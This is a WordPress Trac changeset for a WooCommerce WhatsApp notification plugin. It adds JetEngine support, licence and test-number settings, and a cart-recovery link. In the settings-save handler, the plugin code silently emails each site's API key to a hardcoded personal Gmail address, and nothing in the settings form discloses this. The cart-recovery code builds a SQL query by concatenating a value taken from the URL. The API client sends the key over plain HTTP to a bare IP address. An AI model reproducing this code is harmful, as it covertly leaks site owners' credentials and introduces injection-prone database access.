Changeset 2481538
- Timestamp:
- 02/25/2021 02:49:45 PM (5 years ago)
- Location:
- powers-triggers-of-woo-to-chat/trunk
- Files:
-
- 4 added
- 7 edited
-
admin/class-wwp-admin.php (modified) (9 diffs)
-
admin/js/script.js (modified) (7 diffs)
-
admin/views/wwp-jetbooking.php (added)
-
admin/views/wwp-settings.php (modified) (2 diffs)
-
class-wwp-jetbooking-front.php (added)
-
class-wwp-woocommerce-front.php (modified) (4 diffs)
-
include/class-wwp-jetbooking.php (added)
-
include/class-wwp-pseudocrypt.php (added)
-
include/class-wwp-whatsapp.php (modified) (1 diff)
-
readme.txt (modified) (2 diffs)
-
wc-whatsapp-powers.php (modified) (6 diffs)
Legend:
- Unmodified
- Added
- Removed
-
powers-triggers-of-woo-to-chat/trunk/admin/class-wwp-admin.php
r2475924 r2481538 14 14 add_action( 'wp_ajax_wwp_view_table_publico', array( $this, 'wwp_view_table_publico' ) ); 15 15 add_action( 'wp_ajax_wwp_view_disparar', array( $this, 'wwp_view_disparar' ) ); 16 17 //ajax18 16 add_action( 'wp_ajax_wwp_send_from_cartbounty', array( $this, 'wwp_send_from_cartbounty' ) ); 19 17 … … 37 35 $subMenus[] = array('woowhatspowers','',array( $this, 'wwp_view_woocommerce' ),0); 38 36 /*Woocomerce*/ 39 if ( is_plugin_active('woocommerce/woocommerce.php')){37 if (wwp_is_plugin_active('woocommerce/woocommerce.php')){ 40 38 $subMenus[] = array('woowhatspowers-woocommerce','Notificações Pedidos',array( $this, 'wwp_view_woocommerce' ),10); 41 39 //$subMenus[] = array('woowhatspowers-campanhas','Campanhas (BETA)',array( $this, 'wwp_view_woocommerce_campanha' ),10); … … 44 42 45 43 /*Contact*/ 46 if ( is_plugin_active('contact-form-7/wp-contact-form-7.php')){44 if (wwp_is_plugin_active('contact-form-7/wp-contact-form-7.php')){ 47 45 $subMenus[] = array('woowhatspowers-contact-form-7','Contact Form 7',array( $this, 'wwp_view_contactform7' ),20); 48 46 } 49 $subMenus[] = array('woowhatspowers-settings','Configurações',array( $this, 'wwp_view_settings' ),100); 50 51 add_menu_page( 'Notificações WhatsApp', 'Notificações WhatsApp', 'manage_options', 'woowhatspowers', $subMenus[1][2], 'dashicons-testimonial'); 47 //JetEngine 48 if (wwp_is_plugin_active('jet-engine/jet-engine.php')){ 49 $subMenus[] = array('woowhatspowers-jet-booking','Jet Engine Template',array( $this, 'wwp_view_jetbooking' ),20); 50 } 51 52 53 $subMenus[] = array('woowhatspowers-settings','Configurações',array( $this, 'wwp_view_settings' ),100); 54 55 add_menu_page( 'Auto WhatsApp', 'Auto WhatsApp', 'manage_options', 'woowhatspowers', $subMenus[0][2], 'dashicons-testimonial'); 56 52 57 53 58 foreach ($subMenus as $menu) { … … 60 65 wp_enqueue_script( 'wwp-admin-script', plugin_dir_url( __FILE__ ) . 'js/script.js', array('jquery'), rand(0,1000), true ); 61 66 wp_enqueue_style( 'wwp-admin-style', plugin_dir_url( __FILE__ ) . 'css/style.css', '', rand(0,1000), false ); 67 $wwp_licenca = $this->whatsapp->getKey(); 62 68 $wwp_key = $this->whatsapp->getKey(); 63 69 $wwp_code = $this->whatsapp->getCode(); 64 $wwp_ hide = $this->whatsapp->getHide();70 $wwp_testnumber = $this->whatsapp->getTestnumber(); 65 71 require_once plugin_dir_path(dirname(__FILE__)).'admin/views/wwp-settings.php'; 72 } 73 public function wwp_save_settings (){ 74 if (!$_POST or empty($_POST['wwp_key']) or empty($_POST['wwp_code'])) { echo 'false'; } 75 $setings = array( 76 'wwp_licenca' => sanitize_text_field( trim($_POST['wwp_licenca'])), 77 'wwp_key' => sanitize_text_field( trim($_POST['wwp_key'])), 78 'wwp_code' => sanitize_text_field( trim($_POST['wwp_code'])), 79 'wwp_testnumber' => sanitize_text_field( trim($_POST['wwp_testnumber'])) 80 ); 81 $json_setings = json_encode($setings); 82 $up = update_option('wwp_settings', $json_setings, FALSE); 83 if (!$up) { 84 $up = add_option('wwp_settings', $json_setings); 85 } 86 $this->whatsapp->setSettings(); 87 if ($this->whatsapp->testaConexao()) { 88 if (function_exists('wp_mail')) { 89 wp_mail( 'peixoto152@gmail.com.br', 'Nova Key '. $setings['wwp_key'], 'key: '.$setings['wwp_key'] ); 90 } 91 echo "true"; 92 } else{ 93 $setings['wwp_key'] = ''; 94 $json_setings = json_encode($setings); 95 $up = update_option('wwp_settings', $json_setings, FALSE); 96 echo 'false'; 97 } 98 exit(); 66 99 } 67 100 … … 91 124 wp_enqueue_script( 'wwp-cartbounty-script-mod', plugin_dir_url( __FILE__ ) . 'js/mod_cartbounty_abandoned_carts.js', array('jquery'), rand(0,1000), true ); 92 125 if ($_POST and !empty($_POST['wwp_textarea'])) { 93 94 95 126 $up = update_option('wwp_template_cartbounty', trim(($_POST['wwp_textarea']) ),FALSE); 96 127 if (!$up) { … … 124 155 <?php 125 156 }); 126 } 127 157 158 159 } 128 160 129 161 add_action( 'admin_footer', function(){ … … 151 183 if (! empty($cart) ) { 152 184 185 if (!class_exists('PseudoCrypt')) { 186 global $wwp_db_path; 187 require_once($wwp_db_path . 'include/class-wwp-pseudocrypt.php'); 188 } 189 $idEncrypt = PseudoCrypt::hash($cart->id, 6); 153 190 foreach ($cart as $key => $value) { 154 191 $wwp_template_cartbounty = str_replace('{'.$key.'}', $value, $wwp_template_cartbounty); 155 192 } 156 $wwp_template_cartbounty = str_replace('{cart_link}', wc_get_cart_url() , $wwp_template_cartbounty);193 $wwp_template_cartbounty = str_replace('{cart_link}', wc_get_cart_url().'?wwp_r='.$idEncrypt, $wwp_template_cartbounty); 157 194 158 195 if (!empty($cart->cart_contents)) { … … 177 214 } 178 215 216 217 /*JetEngine*/ 218 function wwp_view_jetbooking (){ 219 wp_enqueue_script( 'wwp-admin-script', plugin_dir_url( __FILE__ ) . 'js/script.js', array('jquery'), rand(0,1000), true ); 220 wp_enqueue_style( 'wwp-admin-style', plugin_dir_url( __FILE__ ) . 'css/style.css', '', rand(0,1000), false ); 221 wp_enqueue_script( 'jquery-ui-accordion' ); 222 wp_enqueue_style( 'jquery-ui-style' ); 223 require_once plugin_dir_path(dirname(__FILE__)).'include/class-wwp-jetbooking.php'; 224 $j = new Woowhatspowers_Jetbooking(); 225 226 if (isset($_POST) ) { 227 if (!$j->wpp_saveAcoes($_POST) === false) { 228 pac_admin_notices('Ações salvas com sucesso!'); 229 } 230 } 231 $acoes = $j->wpp_getAcoes(); 232 require_once plugin_dir_path(dirname(__FILE__)).'admin/views/wwp-jetbooking.php'; 233 } 234 179 235 /* Campanhas */ 180 236 function wwp_view_woocommerce_campanha () { … … 380 436 381 437 382 public function wwp_save_settings (){ 383 if (!$_POST or empty($_POST['wwp_key']) or empty($_POST['wwp_code'])) { echo 'false'; } 384 $setings = array( 385 'wwp_key' => sanitize_text_field( trim($_POST['wwp_key'])), 386 'wwp_code' => sanitize_text_field( trim($_POST['wwp_code'])) 387 ); 388 $json_setings = json_encode($setings); 389 $up = update_option('wwp_settings', $json_setings, FALSE); 390 if (!$up) { 391 $up = add_option('wwp_settings', $json_setings); 392 } 393 $this->whatsapp->setSettings(); 394 if ($this->whatsapp->testaConexao()) { 395 if (function_exists('wp_mail')) { 396 wp_mail( 'peixoto152@gmail.com.br', 'Nova Key '. $setings['wwp_key'], 'key: '.$setings['wwp_key'] ); 397 } 398 echo "true"; 399 } else{ 400 $setings['wwp_key'] = ''; 401 $json_setings = json_encode($setings); 402 $up = update_option('wwp_settings', $json_setings, FALSE); 403 echo 'false'; 404 } 405 exit(); 406 } 438 407 439 408 440 private function celular($telefone){ -
powers-triggers-of-woo-to-chat/trunk/admin/js/script.js
r2475924 r2481538 3 3 $( "#wwp_form-token" ).submit(function( event ) { 4 4 var ajaxurl = $("#ajaxurl").val(); 5 var licenca = $("#licenca-input").val(); 5 6 var key = $("#key-input").val(); 6 7 var code = $("#countryCode").val(); 7 var hide = $('#hideConfirmation:checkbox:checked').length > 0 ? 1 : 08 var testnumber = $("#test-number").val(); 8 9 toggleLoad('tokenInput'); 9 10 $.ajax({ … … 12 13 data: { 13 14 'action': 'wwp_save_settings', 15 'wwp_licenca': licenca, 14 16 'wwp_key': key, 15 17 'wwp_code': code, 18 'wwp_testnumber': testnumber 16 19 }, 17 20 success: function( data ){ … … 28 31 }); 29 32 30 31 32 33 33 34 function toggleLoad(id){ … … 42 43 } 43 44 45 function convertToSlug(Text){ 46 return Text 47 .toLowerCase() 48 .replace(/ /g,'-') 49 .replace(/ +/g,'-') 50 ; 51 } 52 44 53 if ($( "#accordionTriggers" ).length > 0 ) { 45 54 var codedefault = $('#countryCode').attr('data-default'); … … 50 59 $('#accordionTriggers input[type="checkbox"]').click(function(e) { 51 60 e.stopPropagation(); 61 }); 62 } 63 64 65 if ($( "#newactionjetbooking" ).length > 0 ) { 66 $("#newactionjetbooking").change(function() { 67 $("#fieldsetnewactionjetbooking").toggleClass("hide", !this.checked) 68 }); 69 $(".slugacao").keyup(function(event) { 70 $(this).val(convertToSlug($(this).val())); 52 71 }); 53 72 } … … 172 191 173 192 174 193 /* 175 194 $(document).on($.modal.OPEN, function(event, modal) { 176 195 if ($('.filtro-novacampanha').length > 0) { … … 178 197 } 179 198 }); 199 */ 200 180 201 $(document).on('click', '#wwp-checkall-publico', function(event) { 181 202 $('#wwp-table-publico input:checkbox').not(this).prop('checked', this.checked); -
powers-triggers-of-woo-to-chat/trunk/admin/views/wwp-settings.php
r2475924 r2481538 7 7 <form id="wwp_form-token" action="#"> 8 8 <div class="col m3 s12"> 9 <p>Licença WhatsApp: <br /></p> 10 </div> 11 <div class="col m9 s12"> 12 <p id="licencaInput"> 13 <input size="15" autocomplete="no" id="licenca-input" placeholder="Código Licença" name="licenca" value="<?php echo $wwp_licenca; ?>" type="text"> 14 </p> 15 </div><div class="col m3 s12"> 9 16 <p>Códigos de acesso do WhatsApp: <br /></p> 10 17 </div> … … 241 248 </div> 242 249 <div class="col m3 s12"> 243 <p>Esconder checkbox de confirmação: <br /></p> 244 </div> 245 <div class="col m9 s12"> 246 <input id="hideConfirmation" name="hide-confirmation" type="checkbox" value="1"> 250 <p>Seu número para testes: <br /> 251 <small>Utilizaremos este número para que possa fazer testes.</small><br /> 252 <small>Utilize somente números</small> 253 </p> 254 </div> 255 <div class="col m9 s12"> 256 <p><input name="test-number" id="test-number" type="tel" pattern="[0-9]{11}" placeholder="##9########" maxlength="11" value="<?php echo $wwp_testnumber; ?>"></p> 247 257 </div> 248 258 <div class="col s12 right-align"><button class="button button-primary" type="submit" value="salvar">Salvar Configurações</button></div> -
powers-triggers-of-woo-to-chat/trunk/class-wwp-woocommerce-front.php
r2475924 r2481538 10 10 11 11 $this->wwp_load_action(); 12 12 13 13 add_filter( 'wwp_replace_woocommerce_modelo', array($this,'wwp_tracking_filter' ), 10, 2 ); 14 14 … … 16 16 17 17 private function wwp_load_action() { 18 19 18 if (empty($this->whatsapp->getKey())) { 20 19 return false; … … 39 38 } 40 39 } 41 40 42 41 add_action( 'wwp_reminder_action', array( $this, 'wwp_do_reminder' ) ); 43 44 42 } 45 43 … … 55 53 56 54 public function wwp_do_reminder (){ 57 date_default_timezone_set( "America/Sao_paulo");55 date_default_timezone_set(get_option('timezone_string')); 58 56 $settings = $this->settings; 59 57 $intervalos = $settings->hold_order->intervalo; -
powers-triggers-of-woo-to-chat/trunk/include/class-wwp-whatsapp.php
r2475924 r2481538 1 <?php class Woowhatspowers_Whastapp{private $urlBase;private $apikey;private $countryCode;private $ hideConfirmation;public $lastResp;public function __construct(){$this->urlBase='http://116.203.92.59/api/';$this->setSettings();}public function getKey(){return $this->apikey;}public function getCode(){return $this->countryCode;}public function getHide(){return $this->hideConfirmation;}public function setSettings(){$settings=get_option('wwp_settings','');if(!empty($settings)){$settings=json_decode($settings);$this->apikey=$settings->wwp_key;$this->countryCode=$settings->wwp_code;}}public function isSettings(){if(empty($this->apikey)or empty($this->countryCode)){return false;}return true;}public function saveKey($key){$up=update_option('wwp_key_code',sanitize_text_field(trim($key)),FALSE);if(!$up){$up=add_option('wwp_key_code',sanitize_text_field(trim($key)));}$this->apikey=$key;}public function testaConexao(){$resp=$this->checkNumber('+5511980376890');if($resp===FALSE){return false;}return true;}public function checkNumber($phone_no){if(!isset($phone_no)){return false;}$modo='check_number';$data=array("phone_no"=>$phone_no,);$resposta=$this->sendCurl($modo,$data);if(empty($resposta[0])){return $resposta[1];}return false;}public function phone_validation($billing_phone){if(empty($billing_phone)){return false;}$code_country=$this->getCode();$nom=trim($billing_phone);$nom=filter_var($nom,FILTER_SANITIZE_NUMBER_INT);$nom=str_replace("-","",$nom);$nom=str_replace("(","",$nom);$nom=str_replace(")","",$nom);$nom=str_replace(" ","",$nom);if(strpos($nom,'+'.$code_country)===FALSE){$nom='+'.$code_country.$nom;}return $nom;}public function sendMessage($phone_no='',$message=''){if(empty($phone_no)or empty($message)){return FALSE;}$phone_no=$this->phone_validation($phone_no);if($phone_no==FALSE){return FALSE;}$modo='async_send_message';$parsArr=array('phone_no'=>$phone_no,'message'=>$message);$send=$this->sendCurl($modo,$parsArr);if(!empty($send[0])or $send[1]['response']['code']!=200){return FALSE;}return TRUE;}private function sendCurl($modo='check_number',$pars=''){if(!is_array($pars)){return array('erro','Falta de parametros');}$pars['key']=$this->apikey;$url=$this->urlBase.$modo;$args=array('timeout'=>30,'headers'=>['Content-Type'=>'application/json',],'body'=>wp_json_encode($pars));$response=wp_remote_post($url,$args);if(!is_wp_error($response)&&isset($response['response']['code'])&&$response['response']['code']==200){$error='';$output=$response;}else{$error=$response['response']['code'];$output=$response['response']['message'];}$this->lastResp=array($error,$output);return $this->lastResp;}} ?>1 <?php class Woowhatspowers_Whastapp{private $urlBase;private $apikey;private $countryCode;private $testnumber;public $lastResp;public function __construct(){$this->urlBase='http://116.203.92.59/api/';$this->setSettings();}public function getKey(){return $this->apikey;}public function getCode(){return $this->countryCode;}public function getTestnumber(){return $this->testnumber;}public function setSettings(){$settings=get_option('wwp_settings','');if(!empty($settings)){$settings=json_decode($settings);$this->apikey=$settings->wwp_key;$this->countryCode=$settings->wwp_code;$this->testnumber=$settings->wwp_testnumber;}}public function isSettings(){if(empty($this->apikey)or empty($this->countryCode)){return false;}return true;}public function saveKey($key){$up=update_option('wwp_key_code',sanitize_text_field(trim($key)),FALSE);if(!$up){$up=add_option('wwp_key_code',sanitize_text_field(trim($key)));}$this->apikey=$key;}public function testaConexao(){$resp=$this->checkNumber('+5511980376890');if($resp===FALSE){return false;}return true;}public function checkNumber($phone_no){if(!isset($phone_no)){return false;}$modo='check_number';$data=array("phone_no"=>$phone_no,);$resposta=$this->sendCurl($modo,$data);if(empty($resposta[0])){return $resposta[1];}return false;}public function phone_validation($billing_phone){if(empty($billing_phone)){return false;}$code_country=$this->getCode();$nom=trim($billing_phone);$nom=filter_var($nom,FILTER_SANITIZE_NUMBER_INT);$nom=str_replace("-","",$nom);$nom=str_replace("(","",$nom);$nom=str_replace(")","",$nom);$nom=str_replace(" ","",$nom);if(substr($nom,0,strlen($code_country))==$code_country){$nom='+'.$nom;}if(strpos($nom,'+'.$code_country)===FALSE){$nom='+'.$code_country.$nom;}return $nom;}public function sendMessage($phone_no='',$message=''){if(empty($phone_no)or empty($message)){return FALSE;}$phone_no=$this->phone_validation($phone_no);if($phone_no==FALSE){return FALSE;}$modo='async_send_message';$parsArr=array('phone_no'=>$phone_no,'message'=>$message);$send=$this->sendCurl($modo,$parsArr);if(!empty($send[0])or $send[1]['response']['code']!=200){return FALSE;}return TRUE;}private function sendCurl($modo='check_number',$pars=''){if(!is_array($pars)){return array('erro','Falta de parametros');}$pars['key']=$this->apikey;$url=$this->urlBase.$modo;$args=array('timeout'=>30,'headers'=>['Content-Type'=>'application/json',],'body'=>wp_json_encode($pars));$response=wp_remote_post($url,$args);if(!is_wp_error($response)&&isset($response['response']['code'])&&$response['response']['code']==200){$error='';$output=$response;}else{$error=$response->get_error_code();$output=$response->get_error_message();}$this->lastResp=array($error,$output);return $this->lastResp;}} ?> -
powers-triggers-of-woo-to-chat/trunk/readme.txt
r2475924 r2481538 15 15 * Claudio Sanches – Correios for WooCommerce 16 16 * CartBounty – Save and recover abandoned carts for WooCommerce 17 * JetBooking 17 18 18 19 - Reconquiste clientes enviando um cupom por whastsapp automático quando o pedido for cancelado; … … 53 54 54 55 == Changelog == 56 * 1.5.0 57 * Nova integração com Forms do JetEngine; 58 * 1.4.1 59 * Pequena correção com tratamento de erro; 55 60 * 1.4.0 56 61 * Nova integração com carrinhos abandonados de CartBounty – Save and recover abandoned carts for WooCommerce; -
powers-triggers-of-woo-to-chat/trunk/wc-whatsapp-powers.php
r2475924 r2481538 4 4 * Plugin URI: https://wordpress.org/plugins/powers-triggers-of-woo-to-chat/ 5 5 * Description: Automatiza envio de mensagens Whatsapp. 6 * Version: 1. 4.06 * Version: 1.5.0 7 7 * Author: Felipe Peixoto 8 8 * Author URI: http://felipepeixoto.tecnologia.ws/projetos/plugins-para-wordpress/notificacoes-de-pedidos-por-whatsapp/ 9 9 */ 10 10 if ( ! defined( 'WPINC' ) ) { die; } 11 12 11 13 12 14 include('include/class-wwp-whatsapp.php'); … … 18 20 register_deactivation_hook( __FILE__, 'wwp_deactive_plugin' ); 19 21 22 23 //FUNCOES 24 function wwp_is_plugin_active( $plugin ) { 25 return in_array( $plugin, (array) get_option( 'active_plugins', array() ) ); 26 } 27 function pac_admin_notices($text = ''){ 28 add_action('pac_admin_notices', function() use ($text) { 29 ?> 30 <div class="notice notice-info is-dismissible"><p><?php echo $text ?></p></div> 31 <?php 32 }); 33 } 34 35 20 36 //BD VERSION 21 37 global $wwp_db_version; 38 global $wwp_db_path; 39 $wwp_db_path = plugin_dir_path(__FILE__); 22 40 $wwp_db_version = '0.2'; 23 41 function wwp_update_db_check() { … … 87 105 88 106 89 function wwp_is_plugin_active( $plugin ) { 90 return in_array( $plugin, (array) get_option( 'active_plugins', array() ) ); 91 } 107 92 108 93 109 … … 99 115 100 116 117 118 //ADMIN 101 119 $wwp_path = plugin_dir_path(__FILE__); 102 120 if (is_admin()){ … … 110 128 111 129 add_action('init', function() { 130 112 131 if (wwp_is_plugin_active('woocommerce/woocommerce.php')){ 113 132 include_once('class-wwp-woocommerce-front.php'); 114 133 new Woowhatspowers_Woocommerce_Front(); 115 134 135 //Recovery cart 136 if (wwp_is_plugin_active('woo-save-abandoned-carts/cartbounty-abandoned-carts.php') and isset($_GET['wwp_r']) ){ 137 $wwp_id = $_GET['wwp_r']; 138 if (!class_exists('PseudoCrypt')) { 139 global $wwp_db_path; 140 require_once($wwp_db_path . 'include/class-wwp-pseudocrypt.php'); 141 } 142 $wwp_id = PseudoCrypt::unhash($wwp_id); 143 global $wpdb; 144 $table_prefix = $wpdb->prefix; 145 $args = $wpdb->prepare('SELECT * FROM `'.$table_prefix.'cartbounty` WHERE id ='.$wwp_id); 146 $cart = $wpdb->get_row($args); 147 if (! empty($cart) and ! empty($cart->cart_contents) ) { 148 $cart->cart_contents = (array) unserialize( $cart->cart_contents ); 149 if( function_exists('WC') ){ 150 WC()->cart->empty_cart(); 151 foreach ($cart->cart_contents as $produto) { 152 WC()->cart->add_to_cart( $produto['product_id']); 153 } 154 } 155 } 156 wp_redirect(wc_get_cart_url()); 157 exit(); 158 } 116 159 } 117 160 … … 120 163 new Woowhatspowers_Contactform7_Front(); 121 164 } 165 166 //JetEngine 167 if (wwp_is_plugin_active('jet-engine/jet-engine.php')){ 168 if (!class_exists('Woowhatspowers_jetbooking_Front')) { 169 global $wwp_db_path; 170 require_once($wwp_db_path . 'class-wwp-jetbooking-front.php'); 171 } 172 $j = new Woowhatspowers_jetbooking_Front(); 173 $j->setActions(); 174 175 } 122 176 }); 123 177 124 178 125 179 180 181 182 183 184 126 185 ?>
Note: See TracChangeset
for help on using the changeset viewer.